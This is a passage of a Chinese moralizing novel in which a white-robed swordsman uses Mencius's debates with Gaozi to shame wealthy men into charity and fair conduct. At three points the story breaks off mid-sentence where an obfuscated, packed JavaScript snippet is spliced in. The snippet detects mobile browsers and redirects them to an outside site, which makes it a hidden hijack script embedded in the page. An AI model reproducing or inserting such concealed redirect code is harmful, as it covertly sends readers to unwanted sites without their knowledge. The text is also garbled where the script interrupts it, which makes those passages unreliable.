“变故？”陈百万冷笑，“明日开粥棚，施三日粥。让那些泥腿子知道，谁才是真佛！” 三、 施粥论性 次日，陈府开粥棚。粥清可见底，勺有定数，一人一勺。饥民排队，秩序井然。 白衣人杂在队中，至棚前，陈百万亲掌勺，舀了半勺清汤：“下一个。” 白衣人不接：“陈员外，此粥可饱人乎？” “施粥是慈悲，岂可求饱？” “慈悲？”白衣人指粥，“此粥之清，可鉴人影。员外可知，人之所以异于禽兽者，在仁心。仁心发为善行，当诚当实。今以此清汤充粥，是欺人，是欺天，是欺己心。此等‘慈悲’，与戏耍何异？” 陈百万面红耳赤：“你…你懂什么！粥少人多…” “粥少，是你仓中粮少？”白衣人厉声，“你仓中积谷三年陈，宁可霉烂，不舍施人。此心，是人心否？告子言‘生之谓性’，谓饱食安居即为人。依此，你饱食安居，是人。可孟子言‘人之所以异于禽兽者几希’，这‘几希’在你心中，尚有否？” 他夺过粥勺，掷于地，勺碎粥洒。又自怀中取出一袋米——正是昨日陈百万赏的二十两银所换。 “诸君看，此米，是我以陈员外赏银所购。今我以此熬粥，与诸位同食。” 他真在棚前支锅，取水熬粥。米香四溢，饥民垂涎。陈百万气得发抖，命家丁砸锅。白衣人木剑一横： “且慢。陈员外，我再与你赌一局。” “赌…赌什么？” “赌人心。”白衣人指饥民，“你我各熬一锅粥，让饥民自选。选你者，我叩头赔罪。选我者，你开仓放粮三日。可敢？” 陈百万见饥民皆目视白衣人锅中粥，已知必输，强道：“此等赌局，毫无道理…” “毫无道理？”白衣人长笑，“你以清汤充粥，便有道理？你以财势凌人，便有道理？告子言‘生之谓性’，谓饱食即人。今你饱食，却无仁心，岂非‘饱食者非人’？此理，可通否？” 陈百万哑口无言。白衣人盛粥，分与老弱。饥民接过，皆对陈百万侧目。 是夜，陈百万辗转难眠。忽闻窗外有歌： “饱食锦衣未必人， 饥寒交迫尚存仁。 君看流民营中火， 一点心光胜万金。” 推窗，见白衣人立墙头，月下如仙。 “你…你究竟是谁？” “我是谁不重要。”白衣人声淡如风，“重要的是，你是谁。你若自认是人，便行人事。若不认，何必披这张人皮？” 言罢，飘然而去。 陈百万独坐至天明，忽对管家道：“开仓，放粮…十日。” 四、 人皆人性 陈百万开仓放粮十日，白马县震动。其他富户，亦纷纷效仿。流民得活，秋后渐散。 公孙教授闻之，再开讲坛，此番不辩“白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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又三年，白马县大熟。百姓于城东立碑，名“白马碑”，记此事。碑文有联： “白马非马乃诡辩， 人心是心即真知。” 碑成那日，有牧童见一白衣人，立碑前良久，以手抚碑，轻笑：“善。” 牧童问：“先生，白马真非马乎？” 白衣人答：“白马是马，白是色，马是体，合为白马。如人是人，贫富是遇，仁心是体，合为人。莫以色遇掩本体，莫忘你心是人心。” 言罢，踏歌而去： “白马白，青马青， 是马皆能万里行。 贫者贫，富者富， 是人当有仁爱心。 莫被虚名迷双眼， 且看真心照汗青。” 歌声袅袅，散入秋风。 而白马碑，立在城东，沐风栉雨。往来行人，多驻足观读。有富者观之，惕然而醒；有贫者观之，挺胸而行。 皆因碑上那“人心是心”四字，如镜，照出每个人，心底那点“人”的光。 本章诫世 一、 名实之辩之谬 - 以“白马非马”喻名实分离，刺形式主义、标签化 - 破解法：莫被名相所惑，当察实质本真 - 示例：富者贫者皆人，却因财势标签而待遇悬殊 二、 人性禽性之界 - 孟子谓“人之所以异于禽兽者几希”，此“几希”即仁心 - 惕世：失仁心，纵披人皮，实为禽兽；持仁心，纵处困厄，不失为人 - 反思：当今之世，有多少“衣冠禽兽”，多少“布衣圣人”？ 三、 仁心践行之要 - 陈百万之转变，在唤醒仁心；流民之互让，在发显仁心 - 深层隐喻：教育的根本在唤醒仁心，非灌输知识 - 终极指向：人人皆有仁心，只需拂拭尘埃，自放光明 白马偈： 开成五年秋气高，白马县中起论涛。 白衣仗剑明人性，富户开仓醒仁膏。 饥民知让存心烛，教授改弦正学篙。 莫道世间无炬火，石碑千古照人豪。 后世叹： 大周开成洛州秋，白马论争动邑侯。 一席话惊富者梦，半锅粥照贫民眸。 仁心能化三年粟，木剑可镌千古讴。 莫问白衣何处去，人心碑在即风流。 正是： 白马县中论马白，锦衣座上少仁怀。 饥民营里分羹饭，木剑坛前醒钝骸。 人性本同禽兽异，富贫岂可天人乖。 碑铭但记白衣语，心是灵台莫自埋。 29. 炙心谳 楔子分炙之宴 大周开成七年秋，陇西秦州有豪绅姓嬴，名四海，富甲一方。此人好客，尤好“炙宴”——于庭院设十数炙炉，烤羊炙鹿，遍请名流。然宴有奇规：宾客分三等，上宾食羊脊，中宾食羊腿，下宾食羊杂。座次依财势而定，贫者虽名流，亦居末席。 这日重阳，嬴府又开炙宴。庭中炙肉飘香，宾客如云。嬴四海踞主位，举觞笑道：“告子有云：‘食、色，性也。’今备佳肴美酒，诸公尽性！” 座中皆谀辞。忽闻角落有人轻笑：“告子言‘食色性也’不差，然其言‘义外’，谬矣。” 众视之，见末席一白衣人，斗笠面纱，正以木箸拨弄盘中羊杂。嬴四海不悦：“阁下高见？” 白衣人起身，负木剑踱至庭中：“告子谓：仁内义外。谓爱弟因是我弟，故爱之，此仁在内；敬长因彼年长，故敬之，此义在外。依此理，嬴公设宴分炙，亦是‘义外’——依宾客身份分肉，非因肉有异，乃因人分等。是乎？” 嬴四海傲然：“然也！贵贱有序，长幼有差，此礼也，亦义也！” “好个‘贵贱有序’！”白衣人抚掌，“然孟子驳之曰：‘耆秦人之炙，无以异于耆吾炙。’秦人之炙与吾炙，同是炙，同美味。今嬴公之炙，上宾食脊，下宾食杂，莫非脊是炙，杂非炙？抑或脊味美，杂味恶？” “自然脊嫩杂膻。” “非也。”白衣人自取上宾盘中羊脊，又取下宾盘中羊杂，各撕一片，分予左右，“诸公尝之，可有大异？” 左右尝，皆迟疑。实是同一羊，同一烤法，滋味相差无几。 白衣人笑：“既无大异，何以分赐？无他，嬴公心中，人分贵贱，故炙分优劣。此正是告子‘义外’之谬——将外在身份，凌驾本心良知。孟子诘之：‘耆炙亦有外欤？’食炙之欲，在内在外？若在內，何以同炙不同待？若在外，岂不荒谬？” 嬴四海面红，强辩：“礼制如此！” “礼制？”白衣人声转清越，“礼之本，在仁。无仁之礼，是虚礼；无仁之义，是假义。嬴公以财势分人，炙肉小事耳。然世之大者，亦复如是——以门第取士，以贫富断案，以亲疏量刑。此等‘义外’，实是‘仁内’泯灭！” 言罢，掷箸于地，铮然有声： “今日我便效孟子，与嬴公辩一辩这‘炙中仁义’！” 一、 炙同味异 嬴四海怒极反笑：“好！你既要辩，便辩个明白！你说我分炙不公，我且问你：我出肉，我设宴，我分肉，何错之有？” “无错。”白衣人话锋一转，“然你以财势为尺，量人短长，此尺是歪尺。歪尺量物，物无不歪。今日你以歪尺分炙，他日必以歪尺待人。敢问嬴公，可曾因贫富而断人讼事？” 嬴四海色变。他确曾收富者贿，冤判贫者。 白衣人观其色，已知□□，朗声道：“告子言‘义外’，谓敬长因彼年长，非我心中有敬。此是大谬！孟子驳曰：‘且谓长者义乎？长之者义乎？’义不在被敬者年长，在敬者心中有敬。今你敬上宾，非敬其人，敬其财势。此敬，是义否？是谄耳！” 满座哗然。有清流名士拍案：“说得好！” 嬴四海恼羞成怒：“你…你不过一介布衣，安敢在此狂言！来人，轰出去！” 家丁涌上。白衣人木剑未出鞘，只身形晃动，如穿花蝶，七八壮汉皆扑空摔倒。他跃上炙炉高台，声震庭院： “诸公且看！这满庭炙肉，香气同源，滋味同本。而食肉之人，却分三六九等。此岂肉之过？乃人之过！告子以‘义’为外，正为此等‘人分等级’张目！若义在外，则富者天然该食脊，贫者合该食杂。如此，仁心何在？良知何存？” 他拍开一坛酒，倾酒于地，酒香四溢： “酒同酒，人偏分浊清；炙同炙，人偏分贵贱。此等世道，与孟子所言‘人皆有不忍人之心’相去几何？今日我醉，便效李白‘天子呼来不上船’，赢公呼来——” 他举坛痛饮，饮罢长笑： “亦不上你这等级船！” 纵身下台，竟无人敢阻。 二、 同炙同心 白衣人出嬴府，径往城西贫民窟。时值深秋，饥寒交迫，有老妪携孙，于破庙前拾薪。 白衣人上前，自怀中取出一包炙肉，正是宴上所得羊脊：“婆婆，食否？” 老妪惊退：“贵人…此肉老身不敢…” “肉有何贵贱？”白衣人撕半给她，“皆羊身上物，不过所处部位不同。人亦如是，不过所处境遇不同。食吧。” 老妪泪下，与孙分食。白衣人又取数包，分与庙中饥民。饥民跪谢，白衣人扶起，叹道： “莫谢我，该谢孟子。” “孟子？” “孟子与告子辩‘仁内义外’，谓仁爱之心在内，义礼之行亦在内。今嬴四海以财势分炙，是外物障目，失却本心。而我分肉与你等，非因你贫，因我见你饥寒，心中不忍。此不忍，是仁，亦是义。仁义皆在吾心，何分内外？” 有饥民问：“先生，我等贫贱，合该食杂乎？” “荒谬！”白衣人正色，“告子言‘彼长而我长之’，谓因彼年长，故我敬之。此是本末倒置！当是‘我心中有敬，故敬彼长’。你等虽贫，心中亦有仁义。见老弱会让食，见幼童会庇护，此便是仁义。岂因贫而失？” 他起身，对众道：“今日我便在庙前，开一场‘同心炙宴’！” 言罢，取木剑，削竹为签，又出碎银，命壮年买炭买肉。不多时，庙前炭火生，炙肉香。白衣人持剑为刀，将肉切块，不分贵贱，来者各得三串。 饥民围坐，初时拘谨，渐见白衣人随意，也放胆食之。有歌者击瓮而歌，有老者说古，孩童嬉戏。一时庙前，竟比赢府炙宴更热闹。 白衣人歌曰： “炙肉本同味，人心自分高。 嬴府分脊杂，破庙共脂膏。 仁爱岂关贫富事，义气原在寸心豪。 劝君莫学告子论，仁义分明内外淆。” 歌罢，对众一揖：“诸君，仁义在己心，莫因贫贱自轻。他日若得志，莫学嬴四海，以财势量人。” 众皆感泣。忽闻马蹄声，嬴四海率家丁至，见状大怒：“好个狂徒！在此蛊惑人心！” 白衣人笑：“嬴公来得巧，正有炙肉，可要同食？” “谁与你同食！”嬴四海指饥民，“此等贱民，也配食炙？” “哦？”白衣人敛笑，“嬴公言‘贱民’，是心言，还是口言？” “有差么？” “有。”白衣人缓缓道，“告子言‘仁内义外’，谓仁爱是内心，义礼是外在。嬴公心中，视贫者为贱，此是‘仁内’无仁；口出恶言，是‘义外’无礼。内外皆失，尚敢称‘人’乎？” 嬴四海气结，命家丁动手。白衣人木剑一横，剑气森然，竟逼退众人。他踱至嬴四海马前，仰首道： “嬴公，我再问你：若有一日，你落难至此，饥寒交迫，可望人赐一炙否？” “我…我岂会落难！” “是么？”白衣人轻笑，“孟子见齐宣王，言‘老吾老以及人之老，幼吾幼以及人之幼’。你今日富贵，不思及贫者之苦，他日落难，何人及你？仁义是心灯，今日你不点，他日谁为你明？” 嬴四海怔住，看庙前饥民，衣衫褴褛，却围火分炙，面有欢容。忽觉自己华服美食，反不如他们快活。 正恍惚，白衣人掷一物入怀，是块炙肉：“尝尝，同心炙。” 嬴四海下意识接过，炙肉尚温。他犹豫，终咬一口，滋味竟与府中无异——不，更添一分烟火气。 白衣人已转身，携饥民高歌： “嬴府炙肉分脊杂，破庙同食滋味佳。 仁义本在方寸地，何须贫富论等差？” 歌声渐远，嬴四海持炙呆立，如泥塑木雕。 三、 心炙之辩 嬴四海归府，三日不食。第四日，忽命开仓，设“同心粥棚”，凡饥民，皆得饱食。又拆府中西院，建“仁义堂”，收容孤寡。 此事传开，秦州震动。有儒生问其故，嬴四海叹：“那白衣人一言，如棒喝。我一生以财势为尺，量人量己，量到后来，竟不知自己是人是兽。今设粥棚，非为沽名，为心中那点仁，还未死尽。” 儒生传其言，有名家后学不服，聚于仁义堂前，欲寻白衣人辩“仁内义外”。 白衣人果至，仍是一袭白衣，木剑负背。 名家子弟出列：“阁下前日驳告子，谓仁义皆在内。然则，见孺子入井而救，是因孺子可怜而救，此非‘外’乎？见长者而敬，是因年长而敬，此非‘外’乎？” 白衣人笑：“君入歧路矣。我问你：孺子入井，你见之，心中是否怵惕？” “是。” “此怵惕，是内是外？” “是内…然因孺子而起，亦是外。” “非也。”白衣人正色，“孺子入井，是外缘。怵惕之心，是你本有。若无此心，见孺子入井，亦不怵惕。譬如嬴四海昔时，见饥民将死，心中可怵惕？” 众默然。 “故孟子云：‘恻隐之心，仁之端也。’此心人人本有，遇外缘而发。告子谬在，以外缘为义，忘本心为源。譬如食炙，美味是炙，然知味之能，在你舌。告子谓美味在外，岂不谬哉？” 又一人问：“然则礼法规矩，亦是外。若无规矩，何以成方圆？” “规矩在外，守规之心在内。”白衣人道，“真心守规，是仁义；假意守规，是虚伪。今世多少人，面遵规矩，心无仁义。此等‘守规’，是义否？是欺世盗名耳！” 他指仁义堂：“嬴公建此堂，是因规矩否？是因他心中仁心复苏。若无此心， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088181|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纵有千条规矩，他亦可不建。故规矩是末，仁心是本。告子本末倒置，故孟子力驳之。” 众皆沉思。白衣人取木剑，在堂前石阶刻： “仁内发为真恻隐， 义外终是假仪文。 劝君莫被告子误， 心灯长明自不昏。” 刻罢，对嬴四海一揖：“嬴公今日建堂，是仁心发明。望持守此心，莫再失却。” 嬴四海还礼，眼中含泪：“先生…可能留名？” 白衣人笑：“名何用？心有用。” 飘然而去。 四、 炙宴同心 自那日后，嬴四海真变了个人。每年重阳，不再设等级炙宴，而于城隍庙前开“同心炙宴”，无论贫富贵贱，来者皆可食。又设“仁义榜”，褒奖孝子节妇、义士善人。秦州风气为之一新。 三年后，秦州大旱，嬴四海散尽家财赈灾，活人无数。州牧欲上表请旌，嬴四海拒之：“昔年我以财势骄人，今以仁义补过，何功之有？” 是年重阳，同心炙宴更盛。嬴四海亲炙肉分众，见一老者携孙，衣衫虽旧，面有红光。问之，答：“昔年饥民，今有薄田，足矣。” 嬴四海泪下，敬酒三杯。 宴至酣，忽闻空中歌声： “昔日秦州嬴四海，炙宴分等成笑谈。 今朝庙前同心火，仁义不分贵与贱。 告子论义终是外，孟轲言仁本在内。 君看满座共炙客，谁辨当年脊与杂？” 众抬头，见白衣人立庙檐，月下如仙。 嬴四海伏地拜：“先生！” 白衣人掷下一物，是串炙肉，正落嬴四海盘中：“此肉与你三年前所食，同否？” 嬴四海尝之，泣道：“同味！同心！” “善。”白衣人笑，“仁内义内，本自一心。你已得之，好自为之。” 踏月而去，再不现身。 尾声同心碑 嬴四海寿终，秦州人念其德，于城隍庙侧立“同心碑”，记其事。碑阴刻《孟子》告子章句，碑阳刻四句： “炙肉同味何分脊， 人心同善莫论财。 仁义从来在方寸， 内外分明是蠢才。” 有游学士子过秦州，观碑不解，问乡老：“此碑何谓？” 乡老指庙前炙炉：“今日重阳，有炙宴，君可自观。” 士子往观，见千人围坐，分炙而食，无分彼此。有富者与乞儿同席，谈笑风生。问之，答：“自嬴公后，秦州人皆知，仁义在心，不在身份。” 士子叹服，于碑侧添一行小字： “嬴公一炙，惊醒秦州三十年大梦； 白衣数语，点破告子两千年迷津。” 后人有诗赞曰： “秦州嬴公本豪奢，炙宴分等似散沙。 白衣论仁惊四座，赤心化义泽千家。 同心碑前火长暖，仁义堂中德无涯。 莫道世风皆浇薄，孟子之道绽奇葩。” 而白衣人之事，渐成传说。或云剑仙，或云儒侠，或云弥勒化身。然秦州人不论，只知行仁义，食同心炙，便是对那袭白衣，最好的纪念。 本章诫世 一、 仁内义外之谬 - 告子“仁内义外”说，割裂仁义一体，为形式主义张目 - 破解法：仁义皆本心，遇缘而发，非内外可分 - 示例：嬴四海前期循“外礼”而失仁心，后期发仁心而真守礼 二、 等级之妄 - 以炙肉分等喻社会等级，刺身份歧视 - 惕世：以财势分人，是自堕禽兽道；以仁心待人，方显人性光 - 反思：当今多少规矩，是“外礼”非“内义”？多少身份，是“外衣”非“本心”？ 三、 同心之真 - 同心炙宴，喻去除分别、回归本心 - 深层隐喻：真正的共同体，建立在仁心共鸣，非身份堆砌 - 终极指向：撕去一切外在标签，见那人性本真的光 炙心偈： 开成七年秦州秋，嬴府炙宴分等羞。 白衣一言论仁内，布衣千众得义周。 同心碑立风声改，仁义堂开气象道。 莫道告子辩才捷，难敌孟轲一点忧。 后世叹： 大周开成秦州城，炙宴分等触目惊。 白衣剑指仁内外，赤心化俗义分明。 嬴公幡醒建粥舍，饥民感泣歌升平。 千年公案今犹在，谁解孟子恻隐情？ 正是： 嬴府炙肉分脊杂，庙前同心无等差。 告子论义终是外，孟轲言仁本在家。 白衣一席惊迷梦，赤胆三年化彩霞。 秦州至今重阳日，犹忆当年炙上花。 30. 敬内谳 楔子乡饮之礼 大周开成九年，颍川陈氏宗族办“乡饮酒礼”，依古制序齿排座。陈氏族长陈德高居首座，其兄陈德厚年长一岁，却坐次席。有外乡游学士子孟谦，观礼不解，问执事：“长幼有序，何以弟居兄上？” 执事答：“德高公是族长，位尊。” 孟谦疑道：“此非悖礼乎？敬兄是常礼，敬位是权礼。今以权废常，岂是义乎？” 座中忽闻轻笑：“此子问得妙。” 众视之，见末席一白衣人，斗笠面纱，正自斟自饮。陈德高不悦：“阁下何人？敢议我族礼？” 白衣人置杯：“无名之人。只是想起《孟子》一段公案——孟季子问公都子：‘乡人长于伯兄一岁，则谁敬？’” 满座皆读书人，闻此皆怔。这正是《孟子·告子上》中著名论辩。 陈德厚起身揖道：“愿闻其详。” 一、 席上之辩 白衣人踱至庭中，负手道：“昔孟季子问：若有乡人长兄一岁，敬谁？公都子曰敬兄。问：斟酒谁先？曰先乡人。季子遂诘：所敬在兄，所先在乡人，此敬岂非在外？” 陈德高冷笑：“此正是理！敬在心，序在礼。我为族长，自当首座，何错之有？” “错在‘敬外’。”白衣人声清如泉，“孟子答季子曰：‘敬叔父乎？敬弟乎？’常人必曰敬叔父。然若弟为祭主（尸），则敬弟。岂是敬弟本身？是因‘在位故也’。同理，庸常敬兄，特殊时敬乡人——此敬仍在心，因时因位而发，非心随位变。” 他指陈德厚：“今兄长为族中长者，本当敬。然因你是族长，反居其上。此非‘在位故’，是‘以位压常’。孟子言‘庸敬在兄，斯须之敬在乡人’，谓平常敬兄，特殊时暂敬乡人。今你以族长位，常压兄长，是本末倒置，以权坏礼。” 陈德高面红：“我…我依的是古礼！” “古礼？”白衣人长笑，“古礼首重孝悌。舜为天子，见父瞽瞍，犹恭敬如常。今你不过一族之长，便凌兄之上，此礼是古礼，还是你私心之‘礼’？” 满座窃语。陈德厚垂首，老泪纵横。 白衣人忽转问孟谦：“适才你问‘以权废常，岂是义乎’，今可自答？” 孟谦肃然：“学生以为，义在内，非在外。敬兄是心，敬位是迹。今以迹害心，是谓不义。” “善！”白衣人拊掌，“季子闻孟子言，仍谓‘敬叔父则敬，敬弟则敬，果在外’。公都子反诘：‘冬日则饮汤，夏日则饮水，然则饮食亦在外也？’饮汤饮水，因时制宜，岂是汤水在外？敬兄敬位，亦因时制宜，岂是敬在外？今陈族长以位常压兄，是谓‘冬夏皆饮汤’，岂不谬哉？” 言罢，木剑出鞘，在青石地上刻： “庸敬在兄心常在， 斯须敬位礼权宜。 莫将权宜作常道， 免使仁义两相离。” 陈德高羞愤离席，酒宴不欢而散。 二、 狱中之敬 白衣人出陈府，闻街市喧哗。近观之，见县衙前围满百姓，内有老妇鸣冤。 问旁人，知是老妇之子王五，卖柴为生，昨日被陈府管家陈福诬偷玉壶，押入大牢。王五喊冤，县令因陈府势大，不问即判。 白衣人排众入衙，正值升堂。县令拍惊堂木：“人赃俱获，何冤之有？拖下去，杖二十！” “且慢。”白衣人立堂下，“学生有一问。” 县令见其气度，忍怒：“讲。” “《孟子》载，孟季子谓‘敬叔父则敬，敬弟则敬，果在外’。今观此案，大人敬的是‘理’，还是‘势’？” 县令色变：“放肆！本官依律而断！” “依何律？可有人证物证？可曾勘验现场？可曾容被告辩白？”白衣人连珠发问，“若无，则是敬陈府之势，非敬律法之理。此正是‘敬在外’——敬权贵之势，非敬心中之义。” 县令语塞。陈福在旁嚷道：“你是什么东西？敢搅公堂！” 白衣人转身，目如寒星：“我且问你，玉壶何时失窃？” “昨…昨日申时。” “王五何时入府？” “申时三刻送柴。” “玉壶何时发现遗失？” “酉时。” 白衣人笑：“此玉壶，可是青玉雕鲤，壶底有‘陈府珍玩’印？” 陈福一惊：“你…你怎知？” “我不但知，”白衣人自袖中取出一壶，正是那青玉鲤壶，“还知此壶昨日未时，已被你家少爷失手打碎，碎片埋在后园槐树下。你可要掘地验证？” 陈福面如死灰。白衣人对县令一揖：“大人，此案是敬势，还是敬理，可明矣。” 县令汗出，急命开释王五。又欲拿陈福，白衣人阻道：“陈福不过听命，罪在纵子。然纵子亦是过，当罚。不若令其赔偿王五，并捐银修桥，以赎其愆。” 县令从之。退堂后，私问白衣人：“先生真神人也。何以知玉壶事？” 白衣人笑：“我不知。但知陈少爷纨绔，常毁物；知陈福奸猾，必诿过；知王五贫苦，易被诬。此非神机，是人心之常。大人若常怀‘敬内’之心，不惧权势，不轻贫贱，自能明察。” 言罢离去。县令独坐良久，取纸笔书“敬内”二字，悬于公堂。 三、 考场之敬 又数月，恰逢乡试。颍川考场，有生员挟带小抄，被巡场官拿获。此生乃陈德高之孙，名陈文达。 按例，挟带当革除功名，终身禁考。然学政犹豫——陈府势大，且陈文达才名在外，此番若不中，陈府必怨。 正踌躇，闻场外有人歌曰： “敬书敬学心在内， 挟带舞弊迹在外。 今有考官两难事， 不知敬内或敬外？” 学政出视，见白衣人立槐下，揖道：“先生教我。” 白衣人曰：“昔公都子不能答季子，孟子以‘在位故’解之。今学政‘在位’，主一府文教。当敬者何？是敬才名，还是敬考规？是敬陈府之势，还是敬天下士子之心？” 学政沉吟：“才名可惜，考规当严…” “非也。”白衣人摇头，“当敬者，‘道’也。科举取士，取的是真才实学，非虚名势位。今陈生挟带，是欺道。若赦之，是敬势毁道。他日满场士子，皆效其行，科举何用？文教何存？” 学政凛然：“先生是说…” “孟子言‘庸敬在兄，斯须之敬在乡人’，谓常敬与暂敬皆发自心。今学政当有‘庸敬’——常敬道统；亦有‘斯须之敬’——暂护规矩。陈生有才，可责令其苦读三年再考。今若赦，是毁其心性，亦是毁道。” 学政拜服，当场革去陈文达功名，张榜公示。陈府虽怨，然理亏，无可奈何。 白衣人出考场，陈文达追至，泣拜：“先生，学生知错。可三年…人生几何？” “三年短，道心长。”白衣人扶起，“你祖陈德高，以族长位压兄，是敬外失内。你今挟带，亦是敬功名外，失学问内。不若借此三年，真读圣贤书，明‘敬内’之理。他日再考，方是真才。” 陈文达再拜。后三年，果闭门苦读，中举人，官至知府，以清廉闻。皆因当年考场一训。 四、 山寺之敬 秋深，白衣人游至少林寺（架空，非嵩山少林）。见方丈率众迎官轿，仪仗煊赫。问之，乃巡抚进香。 巡抚入殿，方丈亲奉茶，执礼甚恭。白衣人于偏殿问小沙弥：“寻常香客，也方丈亲奉否？” 沙弥摇头：“寻常香客，知客师接待。” 白衣人笑：“此又是‘敬外’了。” 俄顷，巡抚出，方丈送。白衣人拦道：“大师，佛说众生平等。今巡抚是众生，寻常香客亦是众生。何以礼有差？” 方丈合十：“巡抚代天子巡狩，礼当如是。” “天子是众生否？” “…” “佛说平等，是心平等，非位平等。”白衣人徐道，“礼敬巡抚，是敬位；礼敬众生，是敬佛。今大师重位轻生，是敬外失内，恐违佛旨。” 方丈汗颜。巡抚不悦：“你是何人？敢谤佛门？” 白衣人揖：“山人只闻孟子言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088182|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘敬内’。昔孟子谓敬叔父是常，敬弟为尸是暂，皆发自心。今大师敬巡抚是常，敬众生是暂，此心是佛心，还是俗心？” 巡抚语塞。白衣人又道：“大人代天子巡狩，当敬者何？是敬民，还是敬佛？民为邦本，佛度众生，本是一体。今见大师重你，便喜；若重民，可会不喜？” 巡抚默然。白衣人取木剑，在寺墙题： “佛前众生本平等， 官后礼节自有差。 但得心中敬常在， 不向权门拜莲花。” 题罢，对方丈一揖：“大师莫怪。敬佛在心，不在形。敬民在行，不在言。告辞。” 飘然出寺。巡抚与方丈对视，皆惭。 次日，巡抚令减仪仗，方丈设“平等茶棚”，无论贵贱，皆一杯清茶。香客称善。 尾声敬碑长存 白衣人离颍川，再无消息。然“敬内”之说，流传渐广。 陈德高辞族长位，让于兄。兄弟和睦，传为佳话。 县令公堂“敬内”匾，后任皆保留。颍川狱讼，渐趋清明。 考场立“敬学碑”，刻“挟带者戒”，士风一肃。 少林寺墙题诗，被僧人以漆固，成“敬心壁”，香客多临摹。 三年后，有游学士子过颍川，闻诸事，叹道：“此白衣人，真孟子之徒也！” 乡老曰：“其人虽去，其理长存。今颍川人遇事，皆问己心：是敬内，还是敬外？此一问，便少许多糊涂事。” 士子问：“可能再见其人？” 乡老指城东“敬内亭”：“亭中有碑，刻其言行。见碑如见人。” 士子往观，见碑上刻《孟子》季子章句，下附四句： “敬兄敬长是本心， 敬位敬势是权宜。 莫将权宜作本末， 免使良知蒙尘泥。” 碑阴有跋，乃陈文达所书： “昔我少年，敬功名外物，几堕歧途。蒙先生点醒，知敬学在内。今官游四方，见多少‘敬外’之人——敬权、敬势、敬财、敬名，独不敬本心。每思先生，如晨钟暮鼓。立此碑，愿后来者，常问己心：所敬者何？” 士子观罢，肃立良久，对碑三揖。 时值深秋，金风送爽。亭外稻田千顷，农人收割，笑语盈野。 是一派敬天敬地，敬稼穑，敬本分的景象。 或许，这便是“敬内”的真意了。 本章诫世 一、 敬内敬外之辨 - 孟子“敬内”说，谓一切礼节皆发自本心仁敬，非由外势 - 破解法：遇礼制冲突时，当返观本心，莫被外物牵役 - 示例：族长敬位压兄、县令敬势枉法、学政敬才坏规，皆“敬外”之失 二、 权宜常道之界 - “庸敬在兄，斯须之敬在乡人”，谓常道与权宜皆需本心主宰 - 惕世：不可将权宜之策升为常道，否则本心蒙尘 - 反思：世有多少“不得已”，实是“敬外”成习？ 三、 敬碑亭之喻 - 以碑亭代薪传，喻“敬内”之理需代代提撕 - 深层隐喻：文明延续不在礼制繁复，在人心常明 - 终极指向：人人心中皆有“敬内”碑，莫让尘垢遮蔽 敬内偈： 开成九年颍川秋，乡饮酒礼起论诹。 族长敬位兄垂泪，白衣论敬众醒眸。 公堂悬匾狱讼改，考场立碑士风道。 莫道孟辩两千载，今人犹在迷外求。 后世叹： 大周颍川陈氏宴，座次纷争礼法变。 白衣一言论敬内，木剑数刻醒愚倦。 县令悬匾公堂肃，学政立碑文场善。 至今亭畔碑文在，长教行人观本面。 正是： 颍川秋宴礼序淆，族长敬位兄心憔。 白衣论敬惊四座，木剑镌理醒群嚣。 庸敬在兄是本道，斯须敬乡乃权调。 劝君常问心中义，莫逐外物折骨腰。 31. 四心谳 楔子四心碑 大周开成十一年，河内府衙前新立一碑，高八尺，青石凿就，上刻四行大字： “恻隐之心，仁也； 羞恶之心，义也； 恭敬之心，礼也； 是非之心，智也。” 落款小字：“录《孟子》告子章句，以警世风。” 此碑乃知府刘文正所立。刘知府是理学名臣，赴任三日，见河内民风浇薄，兄弟争产、邻里构讼、商贾欺诈之事不绝，遂立此碑，欲以孟子“四心”教化百姓。 碑成那日，万民围观。刘知府亲临讲解：“此四心，人皆有之，如四肢五官，天生具备。今人作恶，非无此心，是自蔽之…” 话音未落，人群中有人轻笑：“知府大人，既人皆有四心，何以满城争讼？” 众视之，见一白衣人，斗笠面纱，负木剑，立于人丛。 刘知府蹙眉：“阁下有何高见？” 白衣人踱至碑前，以手抚字：“大人立此碑，心是好的。只是学生有一惑：若四心人皆有，何以有人见孺子入井而不救？何以有人夺兄田产而无愧？何以有人欺诈孤寡而无耻？此四心，真在否？” 刘知府正色：“在！孟子曰：‘非由外铄我也，我固有之也，弗思耳矣。’只是人不思不求，故失之。” “不思不求？”白衣人转身，对众扬声道，“诸位乡邻，可有人愿说一事——你曾见他人受苦，心中不忍，却未相助？可有人曾行不当之事，心中羞耻，却仍为之？” 人群沉默。忽有老妪泣道：“老身…老身有！去岁冬，见邻家小儿落冰窟，老身怕冷，未救…至今夜夜难眠！”言罢捶胸。 又有一汉子低头：“俺…俺为三亩水田，与亲兄讼三年，赢了田，输了兄弟情，每见兄避道走，俺心如刀绞…” 一商人颤声：“小人卖米掺沙，见老妇买去，心中愧，却贪利未言…” 泣诉声渐多。白衣人听罢，对刘知府一揖：“大人听见了？此便是恻隐、羞恶之心。人皆有，却常自蔽。今大人立碑劝善，不如解其为何自蔽。” 刘知府动容：“请赐教。” 一、 